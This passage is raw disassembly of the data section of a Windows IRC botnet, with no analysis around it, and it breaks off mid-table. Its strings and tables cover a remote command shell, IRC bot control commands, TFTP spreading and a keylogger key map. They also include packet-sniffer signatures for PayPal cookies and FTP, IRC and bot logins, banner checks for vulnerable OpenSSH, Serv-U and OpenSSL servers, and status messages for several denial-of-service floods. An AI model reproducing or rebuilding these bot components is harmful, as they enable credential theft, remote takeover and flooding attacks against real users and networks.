'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 